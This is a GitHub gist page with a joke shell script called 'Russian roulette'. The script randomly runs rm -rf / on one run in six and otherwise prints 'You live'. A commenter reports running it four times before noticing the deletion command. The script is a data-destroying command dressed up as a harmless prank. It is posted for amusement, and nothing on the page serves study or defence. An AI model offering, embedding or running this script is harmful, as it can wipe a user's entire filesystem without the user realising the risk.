Skip to content

Instantly share code, notes, and snippets.

@sobstel
Created March 8, 2012 12:45
Embed
What would you like to do?
Russian roulette ;-)
#!/bin/sh
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “You live”
@kostrse
Copy link

kostrse commented Sep 9, 2012

OMG, tried 4 times before figured out that it actually contains rm -rf /
(the first thought was it just prints "win/loose" to screen)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment